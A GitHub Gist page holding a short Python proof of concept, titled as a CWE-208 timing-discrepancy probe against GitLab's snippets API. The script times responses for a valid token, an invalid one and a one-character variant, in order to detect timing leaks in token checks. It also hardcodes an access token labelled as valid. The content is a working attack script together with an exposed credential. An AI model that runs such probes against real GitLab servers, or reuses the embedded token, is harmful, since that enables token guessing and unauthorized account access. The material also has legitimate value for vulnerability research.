Created
April 25, 2025 03:37
-
-
Save HouqiyuA/9f3679797243cf06b1f6e70b6b7b9e1e to your computer and use it in GitHub Desktop.
gitlab-CWE:208(Observable Timing Discrepancy)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import json | |
| import time | |
| def test_extended_vulnerabilities(): | |
| base_url = "http://GITLAB_HOST/api/v4/snippets" | |
| original_token = "7_pwYNpdf9HZAZr1pkEy" # valid token | |
| headers = { | |
| "Accept": "application/json", | |
| "Host": "gitlab.com", | |
| "PRIVATE-TOKEN": original_token | |
| } | |
| print("\n=== Test : Timing Attack Potential ===") | |
| test_tokens = [ | |
| original_token, | |
| "invalid_token_1", | |
| "a"*len(original_token), | |
| "7_pwYNpdf9HZAZr1pkEx" # One character different | |
| ] | |
| for token in test_tokens: | |
| timing_headers = headers.copy() | |
| timing_headers["PRIVATE-TOKEN"] = token | |
| start_time = time.time() | |
| response = requests.get(base_url, headers=timing_headers) | |
| elapsed = time.time() - start_time | |
| print(f"\nToken: {token[:4]}...{token[-4:] if len(token) > 8 else ''}") | |
| print(f"Response Time: {elapsed:.6f}s") | |
| print(f"Status Code: {response.status_code}") | |
| if __name__ == "__main__": | |
| test_extended_vulnerabilities() | |
| @HouqiyuA | |
| Comment |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment